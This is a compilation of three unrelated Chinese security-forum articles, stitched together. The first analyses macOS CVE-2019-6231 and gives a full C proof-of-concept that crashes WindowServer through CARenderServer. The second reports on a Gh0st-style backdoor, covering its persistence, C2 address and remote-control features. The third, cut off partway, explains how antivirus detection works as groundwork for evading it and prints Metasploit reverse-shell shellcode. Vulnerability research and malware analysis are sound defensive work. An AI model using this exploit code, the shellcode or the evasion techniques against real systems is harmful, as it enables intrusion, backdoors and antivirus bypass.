QuartzCore 中有个一服务 com.apple.CARenderServer (也被称为 CARenderServer) 可以在 Safari
的沙箱中被访问， 并在 macOS 和 iOS 中都存在。
这个服务中有一个函数 _CA::Render::Image::decode()_ ，用来为 QuartzCore 解析 Image
对象。然而，这个函数在解析 Image 对象时，存在一个整型溢出漏洞。
这个可能会导致一个恶意的应用对受限内存的访问。
以下就是 WindowServer 进程在触发漏洞时的日志。
Process: WindowServer [57329]
Path: /System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/Resources/WindowServer
Identifier: WindowServer
Version: 600.00 (337.5)
Code Type: X86-64 (Native)
Parent Process: launchd [1]
Responsible: WindowServer [57329]
User ID: 88
Date/Time: 2018-12-14 16:51:08.093 -0800
OS Version: Mac OS X 10.14.2 (18C54)
Report Version: 12
Anonymous UUID: 0D2EB0AC-26C3-9DBB-CEF0-0060FA5B3A8B
Sleep/Wake UUID: 7F5E9869-8B81-4B2F-8BBC-54048DE83A26
Time Awake Since Boot: 15000 seconds
Time Since Wake: 7000 seconds
System Integrity Protection: disabled
Crashed Thread: 2 com.apple.coreanimation.render-server
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x0000008000000018
Exception Note: EXC_CORPSE_NOTIFY
Termination Signal: Segmentation fault: 11
Termination Reason: Namespace SIGNAL, Code 0xb
Terminating Process: exc handler [57329]
External Modification Warnings:
Thread creation by external task.
Debugger attached to process.
VM Regions Near 0x8000000018:
CoreAnimation 00000001b692e000-00000001bb837000 [ 79.0M] rw-/rw- SM=PRV
-->
STACK GUARD 0000700009f5e000-0000700009f5f000 [ 4K] ---/rwx SM=NUL stack guard for thread 6
Application Specific Information:
StartTime:2018-12-14 16:28:00
GPU:IG
MetalDevice for accelerator(0x3633): 0x7fd12a62bd58 (MTLDevice: 0x7fd12b035c00)
IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/IGPU@2/AppleIntelFramebuffer@0
Thread 0:: Dispatch queue: com.apple.main-thread
0 libsystem_kernel.dylib 0x00007fff762f717a mach_msg_trap + 10
1 libsystem_kernel.dylib 0x00007fff762f76d0 mach_msg + 60
2 com.apple.SkyLight 0x00007fff6f2c95fc run_one_server_pass + 337
3 com.apple.SkyLight 0x00007fff6f2c9436 CGXRunOneServicesPass + 460
4 com.apple.SkyLight 0x00007fff6f2ca0bc server_loop + 96
5 com.apple.SkyLight 0x00007fff6f2ca055 SLXServer + 1149
6 WindowServer 0x000000010d30e4d0 0x10d30d000 + 5328
7 libdyld.dylib 0x00007fff761bded9 start + 1
Thread 1:
0 libsystem_kernel.dylib 0x00007fff762f717a mach_msg_trap + 10
1 libsystem_kernel.dylib 0x00007fff762f76d0 mach_msg + 60
2 com.apple.CoreDisplay 0x00007fff48f09851 0x7fff48e57000 + 731217
3 com.apple.CoreDisplay 0x00007fff48f099af 0x7fff48e57000 + 731567
4 libsystem_pthread.dylib 0x00007fff763b1305 _pthread_body + 126
5 libsystem_pthread.dylib 0x00007fff763b426f _pthread_start + 70
6 libsystem_pthread.dylib 0x00007fff763b0415 thread_start + 13
Thread 2 Crashed:: com.apple.coreanimation.render-server
0 com.apple.CoreFoundation 0x00007fff48f45575 CFRetain + 15
1 com.apple.QuartzCore 0x00007fff540e674f CA::Render::Decoder::decode_colorspace() + 87
2 com.apple.QuartzCore 0x00007fff5411f826 CA::Render::Texture::decode(CA::Render::Decoder*) + 50
3 com.apple.QuartzCore 0x00007fff5400a112 CA::Render::Image::decode(CA::Render::Decoder*) + 1104
4 com.apple.QuartzCore 0x00007fff540e6d33 CA::Render::Decoder::decode_object(CA::Render::Type) + 1075
5 com.apple.QuartzCore 0x00007fff540e6983 CA::Render::Decoder::decode_object(CA::Render::Type) + 131
6 com.apple.QuartzCore 0x00007fff5401d858 CA::Render::Layer::Layer(CA::Render::Decoder*) + 116
7 com.apple.QuartzCore 0x00007fff540e6daf CA::Render::Decoder::decode_object(CA::Render::Type) + 1199
8 com.apple.QuartzCore 0x00007fff540e78a8 CA::Render::decode_commands(CA::Render::Decoder*) + 329
9 com.apple.QuartzCore 0x00007fff5409fb10 CA::Render::Server::ReceivedMessage::run_command_stream() + 748
10 com.apple.QuartzCore 0x00007fff53f90358 CA::Render::Server::server_thread(void*) + 1968
11 com.apple.QuartzCore 0x00007fff53f8fb92 thread_fun(void*) + 25
12 libsystem_pthread.dylib 0x00007fff763b1305 _pthread_body + 126
13 libsystem_pthread.dylib 0x00007fff763b426f _pthread_start + 70
14 libsystem_pthread.dylib 0x00007fff763b0415 thread_start + 13
Thread 3:…….
[truncated]
我们可以看到，这个崩溃发生在线程 _com.apple.coreanimation.render-server_ 中， 服务
_com.apple.CARenderServer_ 是在
_/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore_ 中实现的，
并且通过函数 _CA::Render::Server::register_name(CA::Render::Server_ this, const char
_a2)_ 中注册。
线程 _com.apple.coreanimation.render-server_ 的功能是在函数
_CA::Render::Server::server_thread_ 中实现的。
这个函数主要是用来接收并处理来自客户端的 mach message。
当这个线程接收到一个 _msgh_id_ 为 40002 或者 40003 的 mach message 时，他会调用函数
_CA::Render::Server::ReceivedMessage::run_command_stream(CA::Render::Server::ReceivedMessage_
this)* 来处理接收到的命令序列。
而这个漏洞正是在函数 _CA::Render::Server::ReceivedMessage::run_command_stream_ 中。
## Proof of Concept
接下来，我将利用以下PoC来触发这个漏洞：
#include <stdio.h>
#include <mach/i386/kern_return.h>
#include <mach/mach_traps.h>
#include <servers/bootstrap.h>
#include <dirent.h>
#include <sys/stat.h>
#include <time.h>
#include <dlfcn.h>
#include <unistd.h>
typedef struct quartz_register_client_s quartz_register_client_t;
struct quartz_register_client_s {
mach_msg_header_t header;
uint32_t body;
mach_msg_port_descriptor_t ports[4];
char padding[12];
};
typedef struct quartzcore_mach_msg quartzcore_mach_msg_t;
struct quartzcore_mach_msg{
mach_msg_header_t header;
char msg_body[712];
};
uint64_t get_filesize(const char *fn){
struct stat st;
stat(fn, &st);
uint64_t fsize = st.st_size;
return fsize;
};
int main(int argc, const char * argv[]) {
mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL;
task_get_bootstrap_port(mach_task_self(), &bs_port);
const char *render_service_name = "com.apple.CARenderServer";
kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) = dlsym(RTLD_DEFAULT, "bootstrap_look_up");
kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p);
if (kr != KERN_SUCCESS) {
return -1;
}
printf("[*] Get service of %s successully!n", render_service_name);
quartz_register_client_t msg_register;
memset(&msg_register, 0, sizeof(msg_register));
msg_register.header.msgh_bits =
MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) |
MACH_MSGH_BITS_COMPLEX;
msg_register.header.msgh_remote_port = p;
msg_register.header.msgh_local_port = mig_get_reply_port();
msg_register.header.msgh_id = 40202; // _XRegisterClient
msg_register.body = 4;
msg_register.ports[0].name = mach_task_self();
msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[1].name = mach_task_self();
msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[2].name = mach_task_self();
msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[3].name = mach_task_self();
msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR;
kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG,
sizeof(quartz_register_client_t), sizeof(quartz_register_client_t),
msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
return -1 ;
}
mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c);
uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30);
printf("[*] context_port: 0x%x, conn_id: 0x%xn",context_port,conn_id);
char *crash_log = "crash.data"; //size is 736.
FILE *fp = fopen(crash_log, "rb");
if(fp == NULL){
printf("fopen error!n");
}
uint64_t fsize = get_filesize(crash_log);
void *msg_buf = malloc(fsize);
memset(msg_buf, 0, fsize);
fread(msg_buf, fsize, 1, fp);
quartzcore_mach_msg_t qc_mach_msg = {0};
qc_mach_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
qc_mach_msg.header.msgh_remote_port = context_port;
qc_mach_msg.header.msgh_id = 40002;
memset(qc_mach_msg.msg_body, 0x0, sizeof(qc_mach_msg.msg_body));
*(uint32_t *)(qc_mach_msg.msg_body + 0) = 0x1; // Ports count
memcpy(qc_mach_msg.msg_body+4+12, msg_buf+0x1c+0xc, 736-0x1c-0xc);
*(uint32_t *)(qc_mach_msg.msg_body + 4 + 12 + 4) = conn_id;
kr = mach_msg(&qc_mach_msg.header, MACH_SEND_MSG,736, 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("[-] Send message failed: 0x%dn", kr);
return -1 ;
}
return 0;
}
正常的 mach message 与恶意的 mach message的不同已经在下图中的字段中标明：
**从图3可以看出，我们只需要把 0x142 处的 0x00 修改为 0x80 就能够触发这个漏洞。**
为了发送这个恶意的 mach message， 我们首先需要发送一个 msgh_id 为 40202的 mach message (相应的处理函数为
_XRegisterClient) 来获取每个新接入客户端的 _connection id_ 。
获取到 _connection id_ 之后，会把 _connection id_ 写入相应的位置 (0x2C), 最终，利用这个修改后的 mach
message 触发该漏洞。
## 漏洞原因溯源
在这一部分，我们将利用LLDB对这个漏洞进行动态调试，找出漏洞形成的根本原因。
需要注意的是，你需要通过 SSH 模式对 WindowServer 进程进行调试。
根据线程崩溃时的函数栈，我们可以在 _CA::Render::Server::ReceivedMessage::run_command_stream_
函数上设置一个条件中断。
br s -n CA::Render::Server::ReceivedMessage::run_command_stream
br mod -c '*(int*)($r13+0x2c) == [conn_id]'
其中 conn_id 可以设置为PoC代码在79行打印出来的conn_id。
当命中这个断点后，我们可以查看发送的恶意 mach message。
其中 r13 寄存器指向了恶意 mach message。
(lldb) c
Process 172 resuming
Process 172 stopped
* thread #3, name = 'com.apple.coreanimation.render-server', stop reason = breakpoint 1.1
frame #0: 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()
QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream:
-> 0x7fff3fca6824 <+0>: pushq %rbp
0x7fff3fca6825 <+1>: movq %rsp, %rbp
0x7fff3fca6828 <+4>: pushq %r15
0x7fff3fca682a <+6>: pushq %r14
Target 0: (WindowServer) stopped.
(lldb) re read
General Purpose Registers:
rax = 0x0000000000000000
rbx = 0x0000000000009c42
rcx = 0x0000000000000002
rdx = 0x000000000000c203
rdi = 0x000070000cc52ca0
rsi = 0x000000000000c203
rbp = 0x000070000cc52ef0
rsp = 0x000070000cc51c78
r8 = 0x000000000001450b
r9 = 0x0000000000000000
r10 = 0x0000000000001000
r11 = 0x0000000000000202
r12 = 0x0000000000000000
r13 = 0x000070000cc51ca0
r14 = 0x00007fff8ece4b20 QuartzCore`CA::Render::Server::_callback_lock
r15 = 0x00007fd93f2f5300
rip = 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()
rflags = 0x0000000000000293
cs = 0x000000000000002b
fs = 0x0000000000000000
gs = 0x0000000000000000
(lldb) x -c 0x2e0 0x000070000cc51ca0
0x70000cc51ca0: 00 11 00 80 e0 02 00 00 00 00 00 00 2f d5 12 00 ....?......./?..
0x70000cc51cb0: 00 00 00 00 42 9c 00 00 01 00 00 00 00 00 00 00 ....B...........
0x70000cc51cc0: 00 00 00 00 00 00 00 00 01 00 00 00 97 9b 35 60 ..............5`
0x70000cc51cd0: 3b fe 27 59 18 ae 77 40 01 f0 9b 00 06 7f 7f 00 ;?'Y.?w@.?......
0x70000cc51ce0: 00 c3 01 00 00 01 30 97 00 06 7f 7f 00 00 c4 01 .?....0.......?.
0x70000cc51cf0: 00 00 02 40 be 30 06 7f 7f 00 00 a5 01 00 00 1c ...@?0.....?....
0x70000cc51d00: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d10: 00 00 ff 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 ..?...??.,?.....
0x70000cc51d20: 00 f0 00 00 00 00 00 68 84 40 00 00 00 00 00 20 .?.....h.@.....
0x70000cc51d30: 7c 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |@..............
0x70000cc51d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 20 ...............
0x70000cc51d60: 00 02 f0 bb 30 06 7f 7f 00 00 a6 01 00 00 1c 02 ..?0.....?.....
0x70000cc51d70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d80: 00 ff 00 02 01 c9 e7 03 2c d0 01 04 00 00 00 00 .?...??.,?......
0x70000cc51d90: f0 00 00 00 00 00 40 46 40 00 00 00 00 00 00 22 ?.....@F@......"
0x70000cc51da0: 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @...............
0x70000cc51db0: 00 00 00 00 00 00 40 56 40 00 00 00 00 00 00 32 ......@[email protected]
0x70000cc51dc0: 40 fe 60 9d 21 06 7f 7f 00 00 c5 01 00 00 16 00 @?`.!.....?.....
0x70000cc51dd0: 14 01 01 b2 00 00 00 24 00 00 00 00 03 00 00 00 ...?...$........
0x70000cc51de0: 00 00 80 01 fe e0 1d 20 06 7f 7f 00 00 c6 01 00 ....??. .....?..
0x70000cc51df0: 00 2d 39 00 00 6d 00 00 00 00 00 00 00 00 00 00 .-9..m..........
0x70000cc51e00: 00 00 00 00 03 00 00 80 3f 00 00 00 00 00 00 00 ........?.......
0x70000cc51e10: 00 00 00 80 3f 00 00 80 3f 00 00 80 3f 00 00 80 ....?...?...?...
0x70000cc51e20: 3f 00 00 00 00 00 00 00 00 00 00 19 00 20 00 02 ?............ ..
0x70000cc51e30: c0 ba 30 06 7f 7f 00 00 a9 01 00 00 1c 02 00 00 ??0.....?.......
0x70000cc51e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ...............?
0x70000cc51e50: 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 ...??.,?......?.
0x70000cc51e60: 00 00 00 00 64 84 40 00 00 00 00 00 10 77 40 00 [email protected]@.
0x70000cc51e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51e80: 00 00 00 00 40 56 40 00 00 00 00 00 00 32 40 00 ....@[email protected]@.
0x70000cc51e90: 00 00 00 00 00 00 00 00 00 00 18 00 20 00 02 80 ............ ...
0x70000cc51ea0: b4 30 06 7f 7f 00 00 bf 01 00 00 1c 02 00 00 00 ?0.....?........
0x70000cc51eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 ..............?.
0x70000cc51ec0: 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 ..??.,?......?..
0x70000cc51ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f00: 00 00 00 00 00 00 00 00 00 00 00 20 00 02 90 b1 ........... ...?
0x70000cc51f10: 11 06 7f 7f 00 00 c0 01 00 00 1c 02 00 00 00 00 ......?.........
0x70000cc51f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 01 .............?..
0x70000cc51f30: 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 00 .??.,?......?...
0x70000cc51f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f70: 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 .......... .....
(lldb)
函数 _CA::Render::Decoder::decode_object(CA::Render::Decoder_ this,
CA::Render::Decoder _a2)_ 可以解码所有类型的对象数据。
内存中 0x70000cc51d6e 处的数据是一个 Layer 对象(在图4中标记为绿色)。
图5是用来解析 Layer 对象的代码
我们来看看一个 Layer 对象是如何被解析的，下图表明了一个 Layer 对象中每个域(field)的含义
对 Layer 对象进行解析的函数 _CA::Render::Layer::Layer(CA::Render::Layer_ this,
CA::Render::Decoder _a2)_ 的实现如下：
我们可以看到，后面的数据也是一个对象。接下来，我们追踪一下后面那个对象是怎么被处理的。
图8所示，那个对象的第一个字节代表了这个对象的类型。0x16表示这个对象是一个Image对象(图9)
接下来，我们看看函数 _CA::Render::Image::decode_ 是如何解码一个 Image 对象的。
图11 中表示了一个 Image 对象中每个域的含义。
我们可以看到，最后的8个字节(00 03 00 00 00 00 00 80)被解码成为了size_t类型，它的值就是我们设置的异常值。
在图10中，v9的值就会被解析成0x8000000000000300，然后被作为一个参数传递给CA::Render::validate_rowbytes函数。
接下来，我们仔细分析一下CA::Render::validate_rowbytes函数如何来处理这个值。
不难看出，函数CA::Render::validate_rowbytes 中的运算 **a2 (_QWORD _)(a3 + 8LL_
v4)**存在整型溢出。
根据图11所述，a2的通过函数CA::Render::Decoder::decode_int32获取，值为0x24。
所以v6的值会因为整型溢出而等于0。
整个函数的返回值为0。
而正常情况下，它的返回值应该是1。
现在回到图10中，看到因为函数 _CA::Render::validate_rowbytes_ 返回了0, 导致程序运行到了分支 LABEL_31。
然后调用 _CA::Render::Texture::decode_ 去解码后面的数据，图14就是函数
_CA::Render::Texture::decode_ 的实现。
可以看到，在函数 _CA::Render::Texture::decode_ 中，接下来会调用函数
_CA::Render::Decoder::decode_colorspace_ 来读取 color space 数据。
首先，它会解码一个 int8 类型的整数，结果是0x01。
它接下来可以执行到 case 1 的分支。
v3 的值为 0xFE, 并且会将 v3 作为参数传给函数 _CAGetColorSpace_ 。
函数 _CAGetColorSpace_ 的实现如下：
在函数 _CAGetColorSpace_ 中，由于a1为 0xFE，因此对 colorspaces 数组取值的索引为 0xFE，超过了
colarspaces 数组的最大索引，因此实现了对受限内存的访问。
如图18所示，对受限内存的访问地址为0x291EE0(0x2916F0+0xFE*8)。
因此，函数 _CAGetColorSpace_ 的返回值为0x8000000010。
很明显，这是一个非法的内存地址。
当这个地址被作为参数传递给函数 _CFRetain_ ，它会抛出一个 EXC_BAD_ACCESS 的异常。
## 总结
现在，我们已经深入分析了 CVE-2019-6231 漏洞。
尽管这个漏洞影响了 macOS 和 iOS，然而在这个博客中，我们只是深入分析了它在 macOS 上的行为。
## 受影响的版本
macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14.2
iPhone 5s 或更高版本, iPad Air 或更高版本, and iPod touch 6
## 参考文献
<https://support.apple.com/en-us/HT209446>
<https://support.apple.com/en-us/HT209443>
<https://ssd-disclosure.com/index.php/archives/3796> | 社区文章 |
# 某后门病毒分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
后门病毒的前缀是：Backdoor。该类病毒的特性是通过网络传播，给系统开后门，给用户电脑带来安全隐患。2004年年初，IRC后门病毒开始在全球网络大规模出现。一方面有潜在的泄漏本地信息的危险，另一方面病毒出现在局域网中使网络阻塞，影响正常工作，从而造成损失。即使管理员通过改变所有密码之类的方法来提高安全性，仍然能再次侵入，使再次侵入被发现的可能性减至最低。
大多数后门设法躲过日志，大多数情况下即使入侵者正在使用系统也无法显示他已在线。 **摘录于百度百科**
此次病毒多次使用隐藏技术，反复转移文件，以及使用Hook技术对抗分析。但是美中不足的是，释放样本的时候没有加密资源，直接获得了payload。
## 一：目录
* 1.目录
* 2.Ioc
* 3.行为分析
* 4.样本分析
* 5.技术总结
## 二：IoC
### 2.1：样本1
* 1.样本名称：DD668456CF2F3B72773D1968487BDCD5
* 2.样本md5：dd668456cf2f3b72773d1968487bdcd5
* 3.是否加壳：Microsoft Visual C++ 6.0 [Overlay]
* 4.编译语言：vc++
* 5.样本来源：来自于网络收集
### 2.2：样本2
* 1.样本名称：netsvcs_0x0ex1.dll
* 2.样本md5：5b047ba6518480625dcbe5a14e10dc87
* 3.是否加壳：Microsoft Visual C++ ver. 6/7 DLL
* 4.编译语言：vc++
* 5.样本来源：样本1释放而来
## 三：行为分析
* 行为分析如下：
## 四：样本分析
### 4.1 样本1
* 1.首先读取进程镜像文件中倒数1024个字节，这些内容部分然后使用base和普通运算加密形成以后的服务名称Microsoft Device Manager。
* 2.判断参数是否是`Gh0st Update`，如果不是立即退出进程
* 3.当程序参数为`Gh0st Update`,首先判断添加ACE到指定的ACL，目的用于控制访问数据流量。
* 4.接下来释放一个tmp文件，然后找到他的导出表，执行ResetSSDT，初步怀疑重置SSDT是为了干扰安全软件的分析和查杀，尤其是一些主动防御的安全软件。具体步骤是这样的:
* 首先遍历资源文件，释放其中的bin文件命名为res.tmp，然后移动文件命名为ex.tmp设置一个新的文件时间以及隐藏属性并删除之前的res.tmp。
* 获取其中的ResetSSDT函数并调用
* 5.接下来，创建名为Microsoft Device Manager的服务，具体的步骤如下：
* 首先读取CurrentVersionSvchost下netsvcs项的内容x，然后读取SYSTEMCurrentControlSetServicesx，并删除C:WINDOWSsystem32xex.dll这个文件，以便替换，替换成netsvcs_0x0ex.dll
* 然后创建一个名为Microsoft Device Manager的服务
* 创建互斥体，目的是保证实例唯一性
* 6.然后将之前的ex.tmp文件写入名为`SYSTEMCurrentControlSetServicesnetsvcs_0x0`的项InstallModule的内容。接下来就开启服务
### 4.2 样本2
* 1.首先这个是一个dll文件，根据之前的分析，我们需要调试服务，首先我们不能用OD自带的loaddll因为这默认的入口点是dllMain函数，而调式服务的入口点是ServiceMain函数，我们利用GetProcAddress函数获取函数地址，然后调用即可。代码如下：
HMODULE hModule=NULL;
const char ServiceName[]="ServiceName2";
const char *ServiceName3=ServiceName;
typedef int(*Fun)(int, const char**);
hModule = LoadLibrary("netsvcs_0x0ex.dll");
if(hModule==NULL)
printf("Load Dll Fail");
Fun ServiceMain=(Fun)GetProcAddress(hModule,"ServiceMain");
ServiceMain(1,&ServiceName3);
getchar();
return 0;
* 2.首先挂起服务，将dwCheckPoint成员设置为0，表示挂起服务或者服务暂停。
* 3.获取CurrentControlSetServicesServiceName2的Type子项下的内容，如果内容为288，则在后门执行完毕后进入休眠状态。
* 4.读取文件中最后1024个字节内容，这是为了验证是否为正确的恶意文件。以及创建新的互斥量和Ipaddress。
* 5.如果服务存在，需要重置SSDT以及修改服务子项Type的内容为288，接着删除删除InstallModule键内容，删除InstallModule对应的文件
* 6.将之前从文件中获取`rqaxva61p72uvaenqaevp6ef`经过Base64以及普通加密运算得到Ipaddress`192.168.1.88:8088`
* 7.接着通过之前编码的Ipaddress`192.168.1.88:8088`进行链接，然后利用socket进行信息传输
* 8.然后获取系统相关信息，主要用系统版本，主机名，CPU频率，驱动信息，然后将这些数据发送给病毒作者服务器。
* 系统版本信息
* 主机名：
* CPU频率
* 驱动信息
* 9.病毒的后门控制模块有以下功能：
* 1.主要是获取磁盘和文件信息
* 2.屏幕控制(包含视屏和音频)
* 3.管道通信读取syslog_dat数据
* 4.发送syslog_dat数据
* 5.获取进程的PID，模块信息和进程映像文件
* 6.提升进程权限为关机权限
* 7.执行之前释放的文件
* 8.Update本地的后门程序
* 9.劫持winlogon.exe，首先判断注册表下services下的内容是否为288，如果是288则删除注册表和文件，如果不是就劫持winlogon.exe，已知winlogon进程随着开机自启而启动，如果劫持了此进程，相当于病毒拥有了自启的功能。
* 10.清空软件日志
* 11.打开IE
* 12.删除Services下的注册表内容
* 13.钩取特殊字符信息，fn是一个回调函数，保存于syslog
## 五：技术总结
技术是招式，编程是内功，所以以后的分析我尽可能总结点编程的东西，而不单单只是分析。这样才能更好的帮助我们理解分析。
### socket编程基础
WinSock 编程的第一步就是加载 ws2_32.dll，然后调用 WSAStartup() 函数进行初始化，并指明要使用的版本号。
接下来就是创建套接字的过程，使用socket()函数创建套接字。函数原型如下：`int socket( int af, int type, int
protocol)`。在windows创建套接字`SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
//创建TCP套接字`或者`SOCKET sock = socket(AF_INET, SOCK_DGRAM, 0); //创建UDP套接字`
* 参数af的意思是Address Family，也就是IP地址类型，有两种形式 AF_INET 和 AF_INET6，表示IPV4和IPV6，
* 参数Type有两种，常用的有SOCK_STREAM 和 SOCK_DGRAM,分别是有连接的和无连接的。
* 参数protocol表示传输协议，常用的有 IPPROTO_TCP 和 IPPTOTO_UDP，分别表示 TCP 传输协议和 UDP 传输协议。
然后在客户端用connect函数去连接，服务端用bind()去绑定。在windows下连接的方法如下:`int connect(SOCKET sock,
const struct sockaddr *serv_addr, int addrlen); //Windows`
* 参数sock是之前创建的套接字句柄
* 参数serv_addr是sockaddr 结构体变量的指针
* 参数addrlen是addr变量的大小
其中第二个参数最重要，他指向的结构体sockaddr_in如下：
struct sockaddr_in{
sa_family_t sin_family; //地址族（Address Family），也就是地址类型
uint16_t sin_port; //16位的端口号
struct in_addr sin_addr; //32位IP地址
char sin_zero[8]; //不使用，一般用0填充
};
* 其中sin_addr是struct in_addr结构体类型的变量。之所以在结构体里面套用一个结构体而不直接用变量s_addr是因为需要兼顾之前的版本情况。
struct in_addr{
in_addr_t s_addr; //32位的IP地址
};
然后是发送和接收数据，在windows下，使用send发送数据，原型如下：它的原型为：
`int send(SOCKET sock, const char *buf, int len, int
flags);`以及使用recv函数接收数据`int recv(SOCKET sock, char *buf, int len, int
flags);`要注意客户端和服务端是相对的，也就是说客服端不单单只是发送数据也存在接收数据的函数。
参考资料：<http://c.biancheng.net/cpp/html/3038.html>
### C++虚函数分析
所谓虚函数，就是在某基类中声明为virtual，并在一个或多个派生类中被重新定义的成员函数。用于实现多态性，通过指向派生类的基类指针，访问派生类中同名覆盖成员函数。也就是说，在编译的时候并不知道会调用那个函数，确定函数的真实调用过程是动态的。
如下代码，运行结果是`fn in A
virtual fn in
B`.为什么会产生这样的结果呢，因为A类是基类，B类是派生类。首先创建了A类，当调用fn()这个常规成员函数的时候，直接调用即可。但是调用v_fn的时候，由于v_fn是一个虚函数。会事先判断B类这个派生类的v_fn是否可用，可用的话直接调用B类的v_fn。
class A {
public:
void fn() { printf("fn in An"); }
virtual void v_fn() { printf("virtual fn in An"); }
};
class B : public A {
public:
void fn() { printf("fn in Bn"); }
virtual void v_fn() { printf("virtual fn in Bn"); }
};
int main() {
A *a = new B();
a->fn();
a->v_fn();
return 0;
}
如图，虚函数不是一开始就存在的，他是依靠虚函数表指引调用虚函数，每个类如果虚函数大于1都会构建一个虚函数表。事先会使用一个构造函数去动态指向将要调用的虚函数，返回值为函数指针，放入eax中，后期call
eax即可。 | 社区文章 |
免杀基础入门篇
### 0x00 前言
浅析杀软原理及一些绕过思路
杀软原理：
### 0x01 静态查杀:
##### 1.特征码识别:
杀软有自己的病毒库，里面有很多样本，扫描时会抽取扫描对象的一段特征并与病毒库里作比较，如果匹配，那就会认为是病毒。抽取的代码要有适当长度，一方面维持特征代码的唯一性，另一方面又不要有太大的空间与时间的开销。如果一种病毒的特征代码增长一字节，要检测3000种病毒，增加的空间就是3000字节。在保持唯一性的前提下，尽量使特征代码长度短些，以减少空间与时间开销。
主要扫描的有：
`hash、文件名、函数名、敏感字符串、敏感api等等`
##### 2.云查杀:
云查杀的不同点在于它的病毒库是放在服务器端的，而不是本地客户端，意思是只要联网病毒库就会同步更新，这种病毒库更加强大。
##### 3.校验和法
根据正常文件的内容，计算其校验和，定期不定期的检查文件的校验是否与正常的校验和一样。其实本质还是特征码，万变不离其宗
##### 4.启发式扫描：
但是面对未知的病毒，换个模样杀软就认不出了吗？所以安全厂商研究出了启发式算法
启发式则是将一类病毒总结后，归纳其特征，其后的演变都为一类病毒，这就是启发式算法。具体启发式算法可以由杀软来定，比如可以使用机器学习把家族病毒聚类，或简单的通过使用通用型yara规则，例如文件大小小于100kb，且没有图标则可以识别为病毒，以此达到查杀病毒。
eg：
这是msf的shellcode：
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2003
; Architecture: x64
;-----------------------------------------------------------------------------;
[BITS 64]
; Input: RBP must be the address of 'api_call'.
; Output: RDI will be the socket for the connection to the server
; Clobbers: RAX, RCX, RDX, RDI, R8, R9, R10, R12, R13, R14, R15
reverse_tcp:
; setup the structures we need on the stack...
mov r14, 'ws2_32'
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData structure (+8 for alignment)
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
mov r12, 0x0100007F5C110002
push r12 ; host 127.0.0.1, family AF_INET and port 4444
mov r12, rsp ; save pointer to sockaddr struct for connect call
; perform the call to LoadLibraryA...
mov rcx, r14 ; set the param for the library to load
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call rbp ; LoadLibraryA( "ws2_32" )
